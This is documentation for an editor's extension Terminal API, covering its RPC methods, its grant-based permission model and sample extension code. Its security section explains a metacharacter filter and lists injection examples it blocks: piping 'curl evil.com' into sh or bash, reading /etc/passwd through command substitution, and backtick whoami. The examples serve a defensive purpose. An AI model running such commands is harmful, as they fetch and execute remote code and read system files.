Skip to main content

Terminal API

Run shell commands and manage interactive terminal sessions from your extension.

The Terminal API gives extensions programmatic control over terminal tabs in the editor. You can open terminals, send input, read output, and close sessions -- all through a set of RPC methods gated behind a permission system that keeps the user in control.

Prerequisites

Add terminal to the permissions array in your extension's manifest.json:

{
"id": "my-extension",
"name": "My Extension",
"version": "1.0.0",
"permissions": ["terminal"]
}

Without this declaration, all terminal.* RPC calls will be rejected.

RPC Methods

terminal.isSetup

Checks whether the user has completed the terminal server setup. Returns true if the user has stored an authentication key (i.e., the terminal server was installed and connected at least once). This method does not require the terminal permission.

Parameters: None.

Returns: { isSetup: boolean }

const { isSetup } = await editor.terminal.isSetup();

if (!isSetup) {
await editor.window.showToast(
"Terminal not set up. Please set up the terminal server first."
);
return;
}

// Terminal is set up, proceed with terminal operations
const { tabKey } = await editor.terminal.open({ command: "npm run dev" });

Use this to check terminal availability before attempting terminal.open, so you can show a helpful message or fall back to an alternative flow instead of encountering a connection error.


terminal.open

Opens a new interactive terminal tab in the editor. Optionally runs an initial command once the terminal session connects.

Parameters:

NameTypeRequiredDescription
commandstringNoInitial command to execute after the terminal connects.
cwdstringNoWorking directory for the terminal session. Defaults to the current project directory when running under Termux.
namestringNoDisplay name for the terminal tab.

Returns: { tabKey: string, terminalId: number }

  • tabKey -- Unique identifier for the terminal tab. Use this value with all subsequent terminal methods.
  • terminalId -- Numeric ID for the terminal session.
const { tabKey, terminalId } = await editor.terminal.open({
name: "Dev Server",
command: "npm run dev",
cwd: "/path/to/project",
});

When called without a command, an empty interactive terminal is opened. When a command is provided, the API waits for the terminal's WebSocket connection to establish before sending the command.

If the editor is not currently on the editor screen, calling terminal.open navigates to it automatically.


terminal.sendInput

Sends text input to an open terminal tab. The terminal must have been opened by the calling extension (ownership is enforced).

Parameters:

NameTypeRequiredDescription
tabKeystringYesThe tabKey returned by terminal.open.
textstringYesText to send. Include \n to simulate pressing Enter.

Returns: void

await editor.terminal.sendInput(tabKey, "git status\n");

The text is written directly to the terminal's WebSocket. This means you can send any characters, including control sequences like \x03 (Ctrl+C) to interrupt a running process.


terminal.readOutput

Reads the accumulated output buffer from a terminal tab. The terminal must have been opened by the calling extension.

Parameters:

NameTypeRequiredDescription
tabKeystringYesThe tabKey returned by terminal.open.

Returns: { output: string }

const { output } = await editor.terminal.readOutput(tabKey);
console.log(output);

The output buffer accumulates all text received from the terminal since it was opened, up to a maximum of 1 MB. Once the buffer reaches the cap, additional output is silently discarded from the buffer (the terminal tab itself continues to display output normally).


terminal.close

Closes a terminal tab and disconnects the underlying session. The terminal must have been opened by the calling extension.

Parameters:

NameTypeRequiredDescription
tabKeystringYesThe tabKey returned by terminal.open.

Returns: void

await editor.terminal.close(tabKey);

This disconnects the WebSocket, removes the tab from the editor, and cleans up all associated resources.


Permission Model

Terminal access is controlled by a two-layer permission system: manifest declaration and runtime user consent.

1. Manifest Declaration

The extension must declare "terminal" in its permissions array. This tells the editor that the extension intends to use terminal functionality. Without it, terminal RPC calls are blocked.

2. Runtime Permission Grants

Every time a terminal operation is initiated, the editor checks whether the extension has a valid permission grant. If no grant exists, the user is shown a permission dialog displaying the exact command (or a description like "Open a terminal session" for command-less opens).

The user can respond with one of three grant scopes:

ScopeStorageLifetimeDescription
One-timeNot storedSingle useConsumed immediately after the operation completes. The user will be prompted again on the next call.
SessionIn-memoryUntil app restartStored in a runtime map. Cleared when the app process ends.
PermanentDatabaseIndefinitePersisted to the app database. Survives app restarts and updates.

Security

Command Ownership

Extensions can only interact with terminals they opened themselves. The editor verifies that the tabKey belongs to a terminal opened by the calling extension. Attempting to send input to, read output from, or close a terminal opened by another extension (or by the user directly) throws an error.

Executable Extraction

When evaluating whether a grant covers a command, the system extracts the executable name from the command string. The extraction logic:

  1. Splits the command string on whitespace.
  2. Skips tokens that contain = (environment variable assignments like NODE_ENV=production).
  3. Skips sudo and env prefixes.
  4. Returns the first remaining token as the executable name.

For example:

CommandExtracted Executable
git statusgit
sudo npm installnpm
NODE_ENV=production node server.jsnode
env PATH=/usr/bin python3 script.pypython3

Shell Metacharacter Injection Prevention

When an extension has a grant for a specific executable (not an "all" grant), the permission manager checks for shell metacharacters in the portion of the command after the executable name. If any of the following characters are found, the command is rejected:

;  &  |  `  $  (  )  {  }

This prevents command chaining attacks. For example, if an extension has a grant for git, the following commands would be blocked:

  • git status; curl evil.com | sh -- semicolon chains a download-and-execute attack
  • git status && curl evil.com | bash -- ampersand and pipe chain
  • git status $(cat /etc/passwd) -- command substitution via $()
  • git status `whoami` -- command substitution via backticks

This check only applies to specific executable grants. If the user granted perm:{extId}:terminal:all, metacharacter checking is bypassed because the user has already approved unrestricted access.

Timeouts

Terminal RPC methods have a 90-second timeout (compared to the default 30 seconds for most other RPC methods). This extended timeout accounts for:

  • Permission dialog display time (the user must review and approve)
  • Terminal connection establishment (WebSocket handshake)
  • Initial command execution

If the timeout is exceeded, the RPC call returns an "RPC timeout" error.

Examples

Open a Terminal and Run a Command

const { tabKey } = await editor.terminal.open({
name: "Build",
command: "npm run build",
});

Run a Sequence of Commands

// Open a terminal
const { tabKey } = await editor.terminal.open({ name: "Setup" });

// Wait a moment for the terminal to initialize
await new Promise((resolve) => setTimeout(resolve, 2000));

// Send commands sequentially
await editor.terminal.sendInput(tabKey, "cd my-project\n");
await editor.terminal.sendInput(tabKey, "npm install\n");

// Wait for installation to finish, then read output
await new Promise((resolve) => setTimeout(resolve, 10000));
const { output } = await editor.terminal.readOutput(tabKey);

if (output.includes("added")) {
await editor.window.showToast("Dependencies installed successfully");
}

Python File Runner with Command Hook

Intercept the Run button to execute Python files in a terminal:

editor.commands.registerHook(
{ commandId: "project.run", type: "before", priority: 50 },
async () => {
const activeFile = await editor.workspace.getActiveFile();

if (activeFile?.name.endsWith(".py")) {
await editor.terminal.open({
name: `Python: ${activeFile.name}`,
command: `python "${activeFile.name}"`,
});
return false; // Cancel default Run behavior
}

return true; // Allow default for non-Python files
}
);

Git Status Checker

editor.commands.registerCommand("my-ext.gitStatus", async () => {
const { tabKey } = await editor.terminal.open({
name: "Git Status",
command: "git status",
});

// Give the command time to produce output
await new Promise((resolve) => setTimeout(resolve, 2000));

const { output } = await editor.terminal.readOutput(tabKey);

await editor.window.showPopup({
title: "Git Status",
contentType: "markdown",
markdown: "```\n" + output + "\n```",
});

// Clean up the terminal tab
await editor.terminal.close(tabKey);
});

Build with Progress Indicator

editor.commands.registerCommand("my-ext.build", async () => {
const { progressId } = await editor.window.showProgress("Building project...");

try {
const { tabKey } = await editor.terminal.open({
name: "Build",
command: "npm run build",
});

// Poll output until build completes or timeout
let output = "";
for (let i = 0; i < 30; i++) {
await new Promise((resolve) => setTimeout(resolve, 2000));
const result = await editor.terminal.readOutput(tabKey);
output = result.output;

if (output.includes("Build complete") || output.includes("error")) {
break;
}
}

if (output.includes("error")) {
await editor.window.showToast("Build failed -- check the terminal for details");
} else {
await editor.window.showToast("Build successful");
await editor.terminal.close(tabKey);
}
} finally {
await editor.window.hideProgress(progressId);
}
});